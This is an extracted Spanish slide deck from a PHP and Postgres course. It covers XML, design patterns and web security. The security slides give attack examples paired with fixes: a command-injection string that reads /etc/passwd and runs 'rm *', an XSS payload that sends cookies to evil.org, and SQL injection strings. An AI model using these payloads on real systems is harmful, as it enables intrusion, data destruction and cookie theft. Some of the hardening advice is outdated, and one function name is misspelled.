<!ELEMENT nombre (sEl1,sEL2) ><!ATTLIST nombre

at1 CDATA #REQUIREDat2 CDATA #IMPLIEDat3 ID #REQUIREDat4 (yes | no) #REQUIRED >Tipo ID puede haber sólo 1, at4 tiene definido los valores que puede recibir, para definir el valor por defecto de un #IMPLIED se reemplaza #IMPLIED por este valor

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – XML : DTDs

Page 71: Php Con Postgres

XML desde PHPEjemplo de XML:

<?xml version="1.0" encoding="ISO-8859-1"?> <bloque>

<noticia> <titulo>Hola Caracola </titulo> <autor>KaoS</autor> <cuerpo>Olla Kaitos a Luisete</cuerpo>

</noticia> <noticia>

<titulo>Nuevo articulo en desarrolloweb </titulo> <autor>Raul</autor> <cuerpo>Jeje hola, aqui estamos </cuerpo>

</noticia> </bloque>Guardarlo en “noticias.xml”

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML

Page 72: Php Con Postgres

XML desde PHPLeer el archivo:

<?//$ruta_fichero="http://www.dominio.com/noticias.xml"; $ruta_fichero="noticias.xml"; $contenido = ""; if($da = fopen($ruta_fichero,"r")) {

while ($aux= fgets($da,1024)) { $contenido.=$aux;

} fclose($da);

} else { echo "Error: no se ha podido leer el archivo <strong>$ruta_fichero</strong>";

} ?>

Esto dentro de un archivo “noticias.php”

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML

Page 73: Php Con Postgres

XML desde PHPProcesar el XML:

$tagnames = array ("titulo","autor","cuerpo"); if (!$xml = domxml_open_mem($contenido)){

echo "Ha ocurrido un error al procesar el documento<strong> \"$ruta_fichero\"</strong> a XML <br>"; exit;

} else { $raiz = $xml->document_element(); $tam=sizeof($tagnames); for($i=0; $i<$tam; $i++){

$nodo = $raiz->get_elements_by_tagname($tagnames[$i]); $j=0; foreach ($nodo as $etiqueta) {

$matriz[$j][$tagnames[$i]]=$etiqueta->get_content(); $j++;

} }

}

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML

Page 74: Php Con Postgres

XML desde PHPMostrar los Datos:

<?$num_noticias=sizeof($matriz); for($i=0;$i<$num_noticias;$i++) {

echo '<table border=1><tr><td align=center>‘ .$matriz[$i]["titulo"].'</td></tr><tr><td>‘.$matriz[$i]["cuerpo"].'</td></tr><tr><td align=right >‘ .$matriz[$i]["autor"].'</td></tr></table><br>';

} ?>

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – DOM XML

Page 75: Php Con Postgres

Patrones de DiseñoIntroducción:

Los patrones de diseño (design patterns) son la base para la búsqueda de soluciones a problemas comunes en el desarrollo de software y otros ámbitos referentes al diseño de interacción o interfaces.Un patrón de diseño es una solución a un problema de diseño.

Para que una solución sea considerada un patrón debe poseer ciertas características. Una de ellas es que debe haber comprobado su efectividad resolviendo problemas similares en ocasiones anteriores. Otra es que debe ser reusable, lo que significa que es aplicable a diferentes problemas de diseño en distintas circunstancias.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software

Page 76: Php Con Postgres

Patrones de DiseñoCategorías:

• Patrones arquitecturales : Aquéllos que expresan un esquema organizativo estructural fundamental para sistemas software. • Patrones de diseño : Aquéllos que expresan esquemas para definir estructuras de diseño (o sus relaciones) con las que construir sistemas software. • Idiomas : Patrones de bajo nivel específicos para un lenguaje de programación o entorno concreto.

Además, también es importante reseñar el concepto de Antipatrón de Diseño , que con forma semejante a la de un patrón, intenta prevenir contra errores comunes de diseño en el software.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software

Page 77: Php Con Postgres

Patrones de DiseñoPatrones estructurales:

• Adapter (Adaptador): Adapta una interfaz para que pueda ser utilizada por una clase que de otro modo no podría utilizarla.

• Bridge (Puente): Desacopla una abstracción de su implementación.

• Composite (Objeto compuesto): Permite tratar objetos compuestos como si de uno simple se tratase.

• Decorator (Envoltorio): Añade funcionalidad a una clase dinámicamente.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software

Page 78: Php Con Postgres

Patrones de DiseñoPatrones estructurales:

• Facade (Fachada): Provee de una interfaz unificada simple para acceder a una interfaz o grupo de interfaces de un subsistema.

• Flyweight (Peso ligero): Reduce la redundancia cuando gran cantidad de objetos poseen idéntica información.

•Proxy : Mantiene un representante de un objeto.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software

Page 79: Php Con Postgres

Patrones de DiseñoPatrones de Comportamiento:

• Chain of Responsibility (Cadena de responsabilidad): Permite establecer la línea que deben llevar los mensajes para que los objetos realicen la tarea indicada.

• Command (Orden): Encapsula una operación en un objeto, permitiendo ejecutar dicha operación sin necesidad de conocer elcontenido de la misma.

• Interpreter (Intérprete): Dado un lenguaje, define una gramática para dicho lenguaje, así como las herramientas necesarias para interpretarlo.

• Iterator (Iterador): Permite realizar recorridos sobre objetos compuestos independientemente de la implementación de estos.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software

Page 80: Php Con Postgres

Patrones de DiseñoPatrones de Comportamiento:

• Mediator (Mediador): Define un objeto que coordine la comunicación entre objetos de distintas clases, pero que funcionan como un conjunto.

• Memento (Recuerdo): Permite volver a estados anteriores del sistema.

• Observer (Observador): Define una dependencia de uno-a-muchos entre objetos, de forma que cuando un objeto cambie de estado senotifique y actualicen automáticamente todos los objetos que dependen de él.

• State (Estado): Permite que un objeto modifique su comportamiento cada vez que cambie su estado interno.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software

Page 81: Php Con Postgres

Patrones de DiseñoPatrones de Comportamiento:

• Strategy (Estrategia): Permite disponer de varios métodos para resolver un problema y elegir cuál utilizar en tiempo de ejecución.

• Template Method (Método plantilla): Define en una operación el esqueleto de un algoritmo, delegando en las subclases algunos de sus pasos, esto permite que las subclases redefinan ciertos pasos de un algoritmo sin cambiar su estructura.

• Visitor (Visitante): Permite definir nuevas operaciones sobre una jerarquía de clases sin modificar las clases sobre las que opera.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software

Page 82: Php Con Postgres

Patrones de DiseñoPatrones creacionales:

•Abstract Factory (Fábrica abstracta): Permite trabajar con objetos de distintas familias de manera que las familias no se mezclen entre sí y haciendo transparente el tipo de familia concreta que se esté usando.

• Builder (Constructor virtual): Abstrae el proceso de creación de un objeto complejo, centralizando dicho proceso en un único punto.

• Factory Method (Método de fabricación): Centraliza en una clase constructora la creación de objetos de un subtipo de un tipo determinado, ocultando al usuario la casuística para elegir el subtipo que crear.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software

Page 83: Php Con Postgres

Patrones de DiseñoPatrones creacionales:

• Prototype (Prototipo): Crea nuevos objetos clonándolos de una instancia ya existente.

• Singleton (Instancia única): Garantiza la existencia de una única instancia para una clase y la creación de un mecanismo de accesoglobal a dicha instancia.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 4 – Arquitectura de Software

Page 84: Php Con Postgres

SeguridadDefinición:

• Entendemos por aplicaciones web a todo aquél software que interacciona con el usuario utilizando el protocolo HTTP. Por su parte, los servicios web son un conjunto de funciones empaquetadas dentro de una entidad única y publicadas dentro de la red para que puedan ser utilizadas por las aplicaciones web.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP

Page 85: Php Con Postgres

SeguridadLineas frecuentes de ataques:

• Saltarse las validaciones

• Inyección de código

• Inyeccion de SQL

• Inyeccion de Cookies

• XSS – Cross Site Scripting

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP

Page 86: Php Con Postgres

SeguridadSaltarse las validaciones - Objetivo:

El objetivo es que la aplicación colapse, de una manera interesante para el atacante.

• Dejando a la aplicación en un estado invalido, de modo que deje de estar operativa.

• Revelando información de depuración, que permita conocer detalles importantes acerca de la plataforma usada, para luego aprovechar los problemas de seguridad conocidos que esta tenga.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP

Page 87: Php Con Postgres

SeguridadSaltarse las validaciones - ¿Cómo?:

Existen 2 tipos de validación, la del lado del cliente y la del lado del servidor.

En el primer caso, tenemos como ventaja el rápido feedback con el cliente. Pero si no va acompañada de la segunda, tenemos un grave problema de seguridad:

Se puede generar un nuevo formulario, que envíe los datos sin ser validados al server.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP

Page 88: Php Con Postgres

SeguridadValidación en el servidor:

PHP ofrece múltiples funciones para validar datos:

• is_int(), is_float(), is_bool(), is_finite(), is_nan(), etc

• intval(), floatval(), doubleval(), etc

• strlen(), strpos(), etc

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP

Page 89: Php Con Postgres

SeguridadInyección de código - Objetivo:

Hacer que nuestro script ejecute algún código ingresado por el atacante. Este código habitualmente apunta a:

• Mostrar información acerca de la plataforma

• Dañar el sistema

• Generar nuevas vulnerabilidades de seguridad.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP

Page 90: Php Con Postgres

SeguridadInyección de código - ¿Cómo?:

Generalmente a través de variables GET, POST o COOKIE, que no se valida correctamente (o simplemente no se valida)

Ejemplo:$filename=$_GET[‘datoString’];$message=file_get_contents($filename);echo $message;

Si se llama www.cursophp.org/miscript.php?datoString=hola.txtPero si se llamawww.cursophp.org/miscript.php?datoString=pass.cfg

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP

Page 91: Php Con Postgres

SeguridadInyección de código - ¿Cómo?:

<?php $fp = popen('/usr/sbin/sendmail -i '. $_GET[‘to’], 'w'); ?>

Se llama con el siguiente query string:*.php?to=evil%40evil.org+%3C+%2Fetc%2Fpasswd%3B+rm+%2A

Ejecutaría:/usr/sbin/sendmail -i [email protected] /etc/passwd; rm *

Solución:<?php $fp = popen('/usr/sbin/sendmail -i '. scapeshellarg($_GET[‘to’]), 'w'); ?>

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP

Page 92: Php Con Postgres

SeguridadInyección de código - ¿Cómo?:

Los includes de scripts referenciados desde GET o POST no debieran usarse y de ser así, validar muy bien los datos.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP

Page 93: Php Con Postgres

SeguridadInyección de código - ¿Cómo?:

Supongamos que este codigo está dentro del módulo de mensajeria de nuestra aplcación

<?php ... echo "<TD> $subject </TD>"; ?> Un usuario malicioso podría enviar un mensaje con el asunto:

<script> self.location.href= "http://evil.org/cookie-grab.html?cookies=" +escape(document.cookie) </script>

Llamando a su servidor, donde revisando el log de los request, tendrá la información de nuestras cookies

Solución:<?php ... echo "<TD> ".htmlspecialchars($subject)." </TD>"; ?>

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP

Page 94: Php Con Postgres

SeguridadInyección de SQL - Objetivo:

Alterar los datos en la base de datos para que ocurra alguna de las siguientes situaciones:

•La aplicación colapse porque se ingresaron datos que no concuerdan con lo esperado.

•Se pierda información producto de la eliminación de registros.

•Se produzcan errores de SQL, que permitan obtener información de depuración y así encontrar vulnerabilidades.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP

Page 95: Php Con Postgres

SeguridadInyección de SQL - ¿Cómo?:

Ingresando partes de sentencias sql de actualizacion de bd, en los parametros que incluye la query.

Ejemplo:

$user_name=$_GET[‘u_name’];$sql=“SELECT * FROM users WHERE user_name=‘$user_name’ ”;$result=pg_query($sql);

Si se llama: *.php?u_name=Jorge ningún problema, pero si se llama: *.php?u_name=Jorge;DELETE FROM users; tendremos problemas.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP

Page 96: Php Con Postgres

SeguridadInyección de SQL - ¿Cómo?:

Otro ejemplo:$user_name=$_GET[‘u_name’];$pass=$_GET[‘password’];$sql=“SELECT * FROM users WHERE user_name=‘$user_name’ AND password=‘$pass’ ”;$result=pg_query($sql);

Si se llama: *.php?u_name=Jorge&password=123ningún problema, pero si se llama: *.php?u_name=Jorge&password=123’ or ‘’=‘Se ejecutaría el sql: SELECT * FROM users WHERE user_name=‘Jorge’ AND password=‘123’ or ‘’=‘’Lo que probablemente garantizaría el ingreso del usuario, sin necesidad de que el password coincida.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP

Page 97: Php Con Postgres

SeguridadXSS – Cross Site Scripting:

La idea es reemplazar una direccion http por un codigo malicioso, permitiendo esto:

•El pishing

•La ejecución de scripts dañinos

•El robo de información privada

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Seguridad en PHP

Page 98: Php Con Postgres

SeguridadProteger el servidor web:

Para esto debemos tener en cuenta lo siguiente:

• Mientras el atacante menos sepa del servidor, más dificil será su tarea.

• Mientras menos servicios de red ofrezca el servidor más seguro será.

• Si vulneran el sistema operativo, no tenemos nada que hacer. Por lo que debe ser lo más robusto posible contra ataques locales y remotos.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Asegurar Apache

Page 99: Php Con Postgres

SeguridadProteger el servidor web:

• El acceso remoto al servidor debe estar controlado por un firewallque permita el acceso sólo en el puerto HTTP (TCP:80)

• Apache no debe tener activado ningún modulo que no sea necesario.

• Apache debe tener acceso restringido al sistema de archivos

• Chroot para apache.

• Debe ser posible almacenar en un archivo de texto los requestGET y POST para usar programas adicionales para la deteccion de intrusos.

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Asegurar Apache

Page 100: Php Con Postgres

SeguridadMedidas Concretas:

• En httpd.conf setear safe_mode = On

• Modificar la linea AddType applicaton/x-httpd-php .php a AddTypeapplicaton/x-httpd-php .do y renombrar todos los archivos .php a .do

PHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Asegurar Apache

Page 101: Php Con Postgres

FinPHP con Postgres – Linux Center – Jorge Arévalo – Clase 5 – Fin del curso